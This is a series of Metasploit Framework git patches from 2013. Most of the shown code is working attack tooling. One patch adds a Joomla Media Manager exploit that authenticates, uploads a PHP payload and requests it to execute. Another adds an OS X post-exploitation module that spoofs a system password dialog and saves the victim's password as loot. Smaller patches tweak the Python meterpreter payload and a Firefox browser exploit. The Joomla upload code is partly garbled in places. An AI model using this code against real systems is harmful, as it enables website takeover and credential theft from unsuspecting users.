a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb @@ -92,7 +92,7 @@ def on_request_uri(cli, request) return end - if agent !~ /Firefox\/17/ and agent !~ /Firefox\/21/ + unless agent =~ /Firefox\/(17|21)/ print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return From fcf2d4bf191f7a732c143c775aeb178ebed93961 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 13 Aug 2013 12:50:52 -0400 Subject: [PATCH 179/454] Remove debug print and fix channel additions. --- data/meterpreter/ext_server_stdapi.py | 14 ++++---------- data/meterpreter/meterpreter.py | 26 ++++++++++++++++---------- 2 files changed, 20 insertions(+), 20 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index aa76178ce7ccb..702f8b013bc79 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -306,8 +306,7 @@ def channel_create_stdapi_fs_file(request, response): else: fmode = 'rb' file_h = open(fpath, fmode) - channel_id = len(meterpreter.channels) - meterpreter.channels[channel_id] = file_h + channel_id = meterpreter.add_channel(file_h) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @@ -331,8 +330,7 @@ def channel_create_stdapi_net_tcp_client(request, response): pass if not connected: return ERROR_CONNECTION_ERROR, response - channel_id = len(meterpreter.channels) - meterpreter.channels[channel_id] = sock + channel_id = meterpreter.add_channel(sock) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @@ -366,8 +364,6 @@ def stdapi_sys_process_close(request, response): if not proc_h_id: return ERROR_SUCCESS, response proc_h_id = proc_h_id['value'] - if not proc_h_id in meterpreter.processes: - print("[-] trying to close non-existent channel: " + str(proc_h_id)) proc_h = meterpreter.channels[proc_h_id] proc_h.kill() return ERROR_SUCCESS, response @@ -404,13 +400,11 @@ def stdapi_sys_process_execute(request, response): proc_h.start() else: proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - proc_h_id = len(meterpreter.processes) - meterpreter.processes[proc_h_id] = proc_h + proc_h_id = meterpreter.add_process(proc_h) response += tlv_pack(TLV_TYPE_PID, proc_h.pid) response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id) if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): - channel_id = len(meterpreter.channels) - meterpreter.channels[channel_id] = proc_h + channel_id = meterpreter.add_channel(proc_h) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index c9ec8f0640551..ba3f0e05348ac 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -192,6 +192,20 @@ def register_function_windll(self, func): if has_windll: self.register_function(func) + def add_channel(self, channel): + idx = 0 + while idx in self.channels: + idx += 1 + self.channels[idx] = channel + return idx + + def add_process(self, process): + idx = 0 + while idx in self.processes: + idx += 1 + self.processes[idx] = process + return idx + def run(self): while self.running: if len(select.select([self.socket], [], [], 0)[0]): @@ -203,10 +217,8 @@ def run(self): request = '' while len(request) < req_length: request += self.socket.recv(4096) - print('[+] received ' + str(len(request)) + ' bytes') response = self.create_response(request) self.socket.send(response) - print('[+] sent ' + str(len(response)) + ' bytes') else: channels_for_removal = [] channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed @@ -241,7 +253,6 @@ def run(self): pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) pkt = struct.pack('>I', len(pkt) + 4) + pkt self.socket.send(pkt) - print('[+] sent ' + str(len(pkt)) + ' bytes') def handle_dead_resource_channel(self, channel_id): del self.channels[channel_id] @@ -253,7 +264,6 @@ def handle_dead_resource_channel(self, channel_id): pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) pkt = struct.pack('>I', len(pkt) + 4) + pkt self.socket.send(pkt) - print('[+] sent ' + str(len(pkt)) + ' bytes') def _core_loadlib(self, request, response): data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) @@ -331,6 +341,7 @@ def _core_channel_read(self, request, response): if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] + data = '' if isinstance(channel, file): data = channel.read(length) elif isinstance(channel, STDProcess): @@ -380,22 +391,17 @@ def create_response(self, request): reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) resp += tlv_pack(reqid_tlv) - print("[*] running method: " + method_tlv['value']) if method_tlv['value'] in self.extension_functions: handler = self.extension_functions[method_tlv['value']] try: result, resp = handler(request, resp) except Exception, err: - print("[-] method: " + method_tlv['value'] + " encountered an exception: " + repr(err)) result = ERROR_FAILURE else: result = ERROR_FAILURE - if result == ERROR_FAILURE: - print("[*] method: " + method_tlv['value'] + " failed") - resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp return resp -print("[+] starting meterpreter") + met = PythonMeterpreter(s) met.run() From 6be4d9e583672b86a6cb32d2f7cdc07b4ac1befd Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 13 Aug 2013 13:52:44 -0500 Subject: [PATCH 180/454] missing interpolation --- modules/post/windows/manage/smart_migrate.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/manage/smart_migrate.rb b/modules/post/windows/manage/smart_migrate.rb index c020000d3d517..632656ad22fa8 100644 --- a/modules/post/windows/manage/smart_migrate.rb +++ b/modules/post/windows/manage/smart_migrate.rb @@ -60,7 +60,7 @@ def attempt_migration(target_pid) begin print_good("Migrating to #{target_pid}") client.core.migrate(target_pid) - print_good("Successfully migrated to process #{}") + print_good("Successfully migrated to process #{target_pid}") return true rescue ::Exception => e print_error("Could not migrate in to process.") From 2086c51b6777f13e560333598393dfd2ebb4373b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 13 Aug 2013 16:27:27 -0500 Subject: [PATCH 181/454] Add module for Joomla Upload Exploit in the wild --- .../unix/webapp/joomla_media_upload_exec.rb | 232 ++++++++++++++++++ 1 file changed, 232 insertions(+) create mode 100644 modules/exploits/unix/webapp/joomla_media_upload_exec.rb diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb new file mode 100644 index 0000000000000..4c7613b867bf9 --- /dev/null +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -0,0 +1,232 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Joomla Media Manager File Upload Vulnerability", + 'Description' => %q{ + This module exploits a vulnerability found in Joomla 2.5.13 and earlier 2.5.x + versions, 3.1.4 and earlier 3.x versions. The vulnerability exists in the Media + Manager component, allowing arbitrary file uploads, which results in arbitrary code + execution. The module has been tested successfully on Joomla 2.5.13 and 3.1.4 on + Ubuntu 10.04. In order to work properly, if public access isn't allowed to the + Media Manager, credentials with access to the component are needed (Editor role + typically). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Vulnerability Discovery and Exploit in the wild + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ], + [ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ] + ], + 'Payload' => + { + 'DisableNops' => true, + # Arbitrary big number. The payload gets sent as POST data, so + # really it's unlimited + 'Space' => 262144, # 256k + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Joomla 2.5.x <=2.5.13', {} ] + ], + 'Privileged' => false, + 'DisclosureDate' => "Jul 31 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Joomla', '/joomla']), + OptString.new('USERNAME', [false, 'User to login with', '']), + OptString.new('PASSWORD', [false, 'Password to login with', '']), + ], self.class) + + end + + def peer + return "#{rhost}:#{rport}" + end + + def check + res = get_upload_form + + if res and res.code == 200 + if res.body =~ /You are not authorised to view this resource./ + print_status("#{peer} - Joomla Media Manager Found but authentication required") + return Exploit::CheckCode::Detected + elsif res.body =~ /
'POST', + 'uri' => "#{u.path}?#{u.query}", + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'cookie' => @cookies, + 'vars_get' => { + 'asset' => 'com_content', + 'author' => '', + 'format' => '', + 'view' => 'images', + 'folder' => '' + }, + 'data' => post_data + }) + + return res + + end + + def get_upload_form + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "index.php"), + 'cookie' => @cookies, + 'encode_params' => false, + 'vars_get' => { + 'option' => 'com_media', + 'view' => 'images', + 'tmpl' => 'component', + 'e_name' => 'jform_articletext', + 'asset' => 'com_content', + 'author' => '' + } + }) + + return res + end + + def get_login_form + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"), + 'cookie' => @cookies, + 'vars_get' => { + 'view' => 'login' + } + }) + + return res + + end + + def login + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, "index.php", "component", "users", "/"), + 'cookie' => @cookies, + 'vars_get' => { + 'task' => 'user.login' + }, + 'vars_post' => { + 'username' => @username, + 'password' => @password + }.merge(@login_options) + }) + + return res + end + + def parse_login_options(html) + html.scan(//) {|option| + @login_options[option[0]] = option[1] if option[1] == "1" # Searching for the Token Parameter, which always has value "1" + } + end + + def exploit + @login_options = {} + @cookies = "" + @upload_name = "#{rand_text_alpha(rand(5) + 3)}.php" + @username = datastore['USERNAME'] + @password = datastore['PASSWORD'] + + print_status("#{peer} - Checking Access to Media Component...") + res = get_upload_form + + if res and res.code == 200 and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource./ + print_status("#{peer} - Authentication required... Proceeding...") + + if @username.empty? or @password.empty? + fail_with(Exploit::Failure::BadConfig, "#{peer} - Authentication is required to access the Media Manager Component, please provide credentials") + end + @cookies = res.get_cookies.sub(/;$/, "") + + print_status("#{peer} - Accessing the Login Form...") + res = get_login_form + if res.nil? or res.code != 200 or res.body !~ /login/ + fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to Access the Login Form") + end + parse_login_options(res.body) + + res = login + if not res or res.code != 303 + fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to Authenticate") + end + elsif res and res.code ==200 and res.headers['Set-Cookie'] and res.body =~ / 'GET', + 'uri' => normalize_uri(target_uri.path, "images", @upload_name), + }) + + end + +end From e4a570d36b5dad9b8b142df15f6ef9c5b3ca3e14 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 13 Aug 2013 16:42:53 -0500 Subject: [PATCH 182/454] Update metadata according to OSVDB --- modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 4c7613b867bf9..22c2c47606bd7 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -27,11 +27,12 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Unknown', # Vulnerability Discovery and Exploit in the wild + 'Jens Hinrichsen', # Vulnerability discovery according to the OSVDB 'juan vazquez' # Metasploit module ], 'References' => [ + [ 'OSVDB', '95933' ], [ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ], [ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ] ], @@ -49,7 +50,7 @@ def initialize(info={}) [ 'Joomla 2.5.x <=2.5.13', {} ] ], 'Privileged' => false, - 'DisclosureDate' => "Jul 31 2013", + 'DisclosureDate' => "Aug 01 2013", 'DefaultTarget' => 0)) register_options( From 04eed493102d2954c518016f62b935a84d582631 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 13 Aug 2013 16:47:24 -0500 Subject: [PATCH 183/454] Add support for FileDropper --- modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 22c2c47606bd7..72ed8ccd27159 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, @@ -222,6 +223,7 @@ def exploit fail_with(Exploit::Failure::Unknown, "#{peer} - Upload failed") end + register_files_for_cleanup("#{@upload_name}.") print_status("#{peer} - Executing shell...") send_request_cgi({ 'method' => 'GET', From 312ff1a20ecf751d63a729ad99be189921e21610 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 13 Aug 2013 17:50:26 -0500 Subject: [PATCH 184/454] Delete period from regular expressions --- modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 72ed8ccd27159..e46d1b60b36d5 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -71,7 +71,7 @@ def check res = get_upload_form if res and res.code == 200 - if res.body =~ /You are not authorised to view this resource./ + if res.body =~ /You are not authorised to view this resource/ print_status("#{peer} - Joomla Media Manager Found but authentication required") return Exploit::CheckCode::Detected elsif res.body =~ / Date: Tue, 13 Aug 2013 19:04:25 -0500 Subject: [PATCH 185/454] Description change --- .../unix/webapp/joomla_media_upload_exec.rb | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index e46d1b60b36d5..5db200932b7d2 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -17,13 +17,13 @@ def initialize(info={}) super(update_info(info, 'Name' => "Joomla Media Manager File Upload Vulnerability", 'Description' => %q{ - This module exploits a vulnerability found in Joomla 2.5.13 and earlier 2.5.x - versions, 3.1.4 and earlier 3.x versions. The vulnerability exists in the Media - Manager component, allowing arbitrary file uploads, which results in arbitrary code - execution. The module has been tested successfully on Joomla 2.5.13 and 3.1.4 on - Ubuntu 10.04. In order to work properly, if public access isn't allowed to the - Media Manager, credentials with access to the component are needed (Editor role - typically). + This module exploits a vulnerability found in Joomla 2.5.x up to 2.5.13, as well as + 3.x up to 3.1.4 versions. The vulnerability exists in the Media Manager component, + which comes by default in Joomla, allowing arbitrary file uploads, and results in + arbitrary code execution. The module has been tested successfully on Joomla 2.5.13 + and 3.1.4 on Ubuntu 10.04. Note: If public access isn't allowed to the Media + Manager, you will need to supply a valid username and password (Editor role or + higher) in order to work properly. }, 'License' => MSF_LICENSE, 'Author' => From 52fa000211eb98aea81fe690fccef83ce02ad519 Mon Sep 17 00:00:00 2001 From: Joff Thyer Date: Sat, 10 Aug 2013 21:08:13 -0500 Subject: [PATCH 186/454] Get password_prompt_spoof module working. [RM #5940] --- .../post/osx/gather/password_prompt_spoof.rb | 189 ++++++++++++++++++ 1 file changed, 189 insertions(+) create mode 100644 modules/post/osx/gather/password_prompt_spoof.rb diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb new file mode 100644 index 0000000000000..4ee97df46a1f1 --- /dev/null +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -0,0 +1,189 @@ +require 'msf/core' +require 'rex' +require 'msf/core/post/common' +require 'msf/core/post/file' + +class Metasploit3 < Msf::Post + include Msf::Post::Common + include Msf::Post::File + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Prompt the MAC-OSX user for password credentials.', + 'Description' => %q{ }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Joff Thyer ', + 'joev ' ], + 'Version' => '', + 'Platform' => [ 'osx' ], + 'SessionTypes' => [ "shell" ] + )) + + register_options( [ + OptString.new( + 'TEXTCREDS', + [ + true, + 'Text displayed when asking for password', + 'Type your password to allow System Preferences to make changes' + ] + ), + OptString.new( + 'ICONFILE', + [ + true, + 'Icon filename relative to bundle', + 'UserUnknownIcon.icns' + ] + ), + OptString.new( + 'BUNDLEPATH', + [ + true, + 'Path to bundle containing icon', + '/System/Library/CoreServices/CoreTypes.bundle' + ] + ), + OptInt.new('TIMEOUT', [true, 'Timeout for user to enter credentials', 60]) + ], self.class) + end + + def cmd_exec(str) + print_status "Running cmd '#{str}'..." + super + end + + # Run Method for when run command is issued + def run + if client.nil? + print_error("Invalid session ID selected. Make sure the host isn't dead.") + return + end + + host = case session.type + when /meterpreter/ + sysinfo["Computer"] + when /shell/ + cmd_exec("/bin/hostname").chomp + end + + print_status("Running module against #{host}") + + dir = "/tmp/." + Rex::Text.rand_text_alpha((rand(8)+6)) + runme = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6)) + creds_osa = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6)) + creds = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6)) + passfile = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6)) + + username = cmd_exec("/usr/bin/whoami") + cmd_exec("umask 0077") + cmd_exec("/bin/mkdir #{dir}") + + # write the script that will launch things + write_file(runme,run_script()) + cmd_exec("/bin/chmod 700 #{runme}") + + # write the credentials script, compile and run + write_file(creds_osa,creds_script(passfile)) + cmd_exec("/usr/bin/osacompile -o #{creds} #{creds_osa}") + cmd_exec("#{runme} #{creds}") + print_status("Waiting for user '#{username}' to enter credentials...") + + timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i + while (::Time.now.to_f < timeout) + fileexist = cmd_exec("ls #{passfile}") + if fileexist !~ /No such file/ + print_status("Password entered! What a nice compliant user...") + break + end + Kernel.select(nil, nil, nil, 0.5) + end + + if fileexist !~ /No such file/ + password_data = cmd_exec("/bin/cat #{passfile}") + print_status("password file contents: #{password_data}") + passf = store_loot("password", "text/plain", + session, password_data, "passwd.pwd", "OSX Password") + print_status("Password data stored as loot in: #{passf}") + else + print_status("Timeout period expired before credentials were entered!") + end + + print_status("Cleaning up files in #{host}:#{dir}") + cmd_exec("/usr/bin/srm -rf #{dir}") + end + + + def run_script(wait=false) + ch = if wait == false then "&" else "" end + %Q{ + #!/bin/bash + osascript <<_EOF_ #{ch} + set scriptfile to "$1" + tell application "AppleScript Runner" + do script scriptfile + end tell + _EOF_ + } + end + + + def creds_script(passfile) + textcreds = datastore['TEXTCREDS'] + ascript = %Q{ + set filename to "#{passfile}" + set myprompt to "#{textcreds}" + set ans to "Cancel" + repeat + try + tell application "Finder" + activate + tell application "System Events" to keystroke "h" using {command down, option down} + set d_returns to display dialog myprompt default answer "" with hidden answer buttons {"Cancel", "OK"} default button "OK" with icon path to resource "#{datastore['ICONFILE']}" in bundle "#{datastore['BUNDLEPATH']}" + set ans to button returned of d_returns + set mypass to text returned of d_returns + if ans is equal to "OK" and mypass is not equal to "" then exit repeat + end tell + end try + end repeat + try + set now to do shell script "date '+%Y%m%d_%H%M%S'" + set user to do shell script "whoami" + set myfile to open for access filename with write permission + set outstr to now & ":" & user & ":" & mypass & " + " + write outstr to myfile starting at eof + close access myfile + on error + try + close access myfile + end try + end try + } + end + + # Checks if the target is OSX Server + def check_server + # Get the OS Name + osx_ver = case session.type + when /meterpreter/ + cmd_exec("/usr/bin/sw_vers", "-productName").chomp + when /shell/ + session.shell_command_token("/usr/bin/sw_vers -productName").chomp + end + + osx_ver =~ /Server/ + end + + # Enumerate the OS Version + def get_ver + # Get the OS Version + case session.type + when /meterpreter/ + cmd_exec("/usr/bin/sw_vers", "-productVersion").chomp + when /shell/ + session.shell_command_token("/usr/bin/sw_vers -productVersion").chomp + end + end +end From 99ef714d000ce455ca928e4081e4b2dfeb819ffb Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Sat, 10 Aug 2013 21:11:50 -0500 Subject: [PATCH 187/454] Updates pps description. --- modules/post/osx/gather/password_prompt_spoof.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index 4ee97df46a1f1..16120586333a7 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -10,14 +10,16 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Prompt the MAC-OSX user for password credentials.', - 'Description' => %q{ }, + 'Name' => 'Prompt the Mac OSX user for password credentials.', + 'Description' => %q{ + This module "spoofs" the OSX password prompt dialog, forcing a + logged-in user to type in a password and click Enter. + }, 'License' => MSF_LICENSE, 'Author' => [ 'Joff Thyer ', 'joev ' ], - 'Version' => '', 'Platform' => [ 'osx' ], - 'SessionTypes' => [ "shell" ] + 'SessionTypes' => [ "shell", "meterpreter" ] )) register_options( [ From e1856651bc2e806eba5972940b9c3423f0c80e0f Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 13 Aug 2013 19:29:36 -0500 Subject: [PATCH 188/454] Incorporate the suggested edits from the PR review. * Rewrites helpers to just use cmd_exec, since that works in meterpreter and shell. * Changes _EOF_ to EOF, since that threw a harmless error in shell commits * Prefer using Post mixin API instead of rolling-own implementation * Fixes whitespace [SeeRM #5940] --- .../post/osx/gather/password_prompt_spoof.rb | 84 ++++++++----------- 1 file changed, 37 insertions(+), 47 deletions(-) diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index 16120586333a7..87bc2c48deb00 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -10,39 +10,43 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Prompt the Mac OSX user for password credentials.', + 'Name' => 'OSX Password Prompt Spoof', 'Description' => %q{ - This module "spoofs" the OSX password prompt dialog, forcing a - logged-in user to type in a password and click Enter. + Presents a password prompt dialog to a logged-in OSX user. }, 'License' => MSF_LICENSE, - 'Author' => [ 'Joff Thyer ', - 'joev ' ], + 'Author' => [ + 'Joff Thyer ', # original post module + 'joev ' # bug fixes + ], 'Platform' => [ 'osx' ], + 'References' => [ + ['URL', 'http://blog.packetheader.net/2011/10/fun-with-applescript.html'] + ], 'SessionTypes' => [ "shell", "meterpreter" ] )) - register_options( [ + register_options([ OptString.new( - 'TEXTCREDS', + 'TEXTCREDS', [ - true, + true, 'Text displayed when asking for password', 'Type your password to allow System Preferences to make changes' ] ), OptString.new( - 'ICONFILE', + 'ICONFILE', [ - true, + true, 'Icon filename relative to bundle', 'UserUnknownIcon.icns' ] ), OptString.new( - 'BUNDLEPATH', + 'BUNDLEPATH', [ - true, + true, 'Path to bundle containing icon', '/System/Library/CoreServices/CoreTypes.bundle' ] @@ -76,37 +80,37 @@ def run runme = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6)) creds_osa = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6)) creds = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6)) - passfile = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6)) + pass_file = dir + "/" + Rex::Text.rand_text_alpha((rand(8)+6)) - username = cmd_exec("/usr/bin/whoami") + username = cmd_exec("/usr/bin/whoami").strip cmd_exec("umask 0077") cmd_exec("/bin/mkdir #{dir}") # write the script that will launch things - write_file(runme,run_script()) + write_file(runme, run_script) cmd_exec("/bin/chmod 700 #{runme}") # write the credentials script, compile and run - write_file(creds_osa,creds_script(passfile)) + write_file(creds_osa,creds_script(pass_file)) cmd_exec("/usr/bin/osacompile -o #{creds} #{creds_osa}") cmd_exec("#{runme} #{creds}") print_status("Waiting for user '#{username}' to enter credentials...") timeout = ::Time.now.to_f + datastore['TIMEOUT'].to_i + pass_found = false while (::Time.now.to_f < timeout) - fileexist = cmd_exec("ls #{passfile}") - if fileexist !~ /No such file/ + if ::File.exist?(pass_file) print_status("Password entered! What a nice compliant user...") + pass_found = true break end - Kernel.select(nil, nil, nil, 0.5) + Rex.sleep(0.5) end - if fileexist !~ /No such file/ - password_data = cmd_exec("/bin/cat #{passfile}") + if pass_found + password_data = read_file("#{pass_file}").strip print_status("password file contents: #{password_data}") - passf = store_loot("password", "text/plain", - session, password_data, "passwd.pwd", "OSX Password") + passf = store_loot("password", "text/plain", session, password_data, "passwd.pwd", "OSX Password") print_status("Password data stored as loot in: #{passf}") else print_status("Timeout period expired before credentials were entered!") @@ -116,25 +120,24 @@ def run cmd_exec("/usr/bin/srm -rf #{dir}") end - - def run_script(wait=false) - ch = if wait == false then "&" else "" end + # "wraps" the #creds_script applescript and allows it to make UI calls + def run_script %Q{ #!/bin/bash - osascript <<_EOF_ #{ch} + osascript < Date: Tue, 13 Aug 2013 22:14:35 -0500 Subject: [PATCH 189/454] MSF license, make use of print_good --- modules/post/osx/gather/password_prompt_spoof.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index 87bc2c48deb00..83d6231ffdfba 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -1,3 +1,10 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + require 'msf/core' require 'rex' require 'msf/core/post/common' @@ -109,9 +116,9 @@ def run if pass_found password_data = read_file("#{pass_file}").strip - print_status("password file contents: #{password_data}") + print_good("password file contents: #{password_data}") passf = store_loot("password", "text/plain", session, password_data, "passwd.pwd", "OSX Password") - print_status("Password data stored as loot in: #{passf}") + print_good("Password data stored as loot in: #{passf}") else print_status("Timeout period expired before credentials were entered!") end From 1d82ed176f78ad5f70d78867872b0b9c99f6dc16 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 13 Aug 2013 23:27:01 -0500 Subject: [PATCH 190/454] Update joomla_media_upload_exec references --- modules/exploits/unix/webapp/joomla_media_upload_exec.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 5db200932b7d2..32152ed19b981 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -35,7 +35,9 @@ def initialize(info={}) [ [ 'OSVDB', '95933' ], [ 'URL', 'http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads' ], - [ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ] + [ 'URL', 'http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/' ], + [ 'URL', 'https://github.com/joomla/joomla-cms/commit/fa5645208eefd70f521cd2e4d53d5378622133d8' ], + [ 'URL', 'http://niiconsulting.com/checkmate/2013/08/critical-joomla-file-upload-vulnerability/' ] ], 'Payload' => { From 83aec3b2312be97758c50cbb8d47764f14bf67c9 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 14 Aug 2013 02:26:39 -0500 Subject: [PATCH 191/454] Remove module version display Since modules no longer use the 'Version' key, there's no point to collect and show them. It's all 0 anyway. [See RM 8278] --- lib/msf/base/serializer/readable_text.rb | 4 ---- lib/msf/core/module.rb | 9 --------- 2 files changed, 13 deletions(-) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index eca467119af11..7845e2eb47590 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -123,7 +123,6 @@ def self.dump_exploit_module(mod, indent = '') output = "\n" output << " Name: #{mod.name}\n" output << " Module: #{mod.fullname}\n" - output << " Version: #{mod.version}\n" output << " Platform: #{mod.platform_to_s}\n" output << " Privileged: " + (mod.privileged? ? "Yes" : "No") + "\n" output << " License: #{mod.license}\n" @@ -179,7 +178,6 @@ def self.dump_auxiliary_module(mod, indent = '') output = "\n" output << " Name: #{mod.name}\n" output << " Module: #{mod.fullname}\n" - output << " Version: #{mod.version}\n" output << " License: #{mod.license}\n" output << " Rank: #{mod.rank_to_s.capitalize}\n" output << "\n" @@ -217,7 +215,6 @@ def self.dump_payload_module(mod, indent = '') output = "\n" output << " Name: #{mod.name}\n" output << " Module: #{mod.fullname}\n" - output << " Version: #{mod.version}\n" output << " 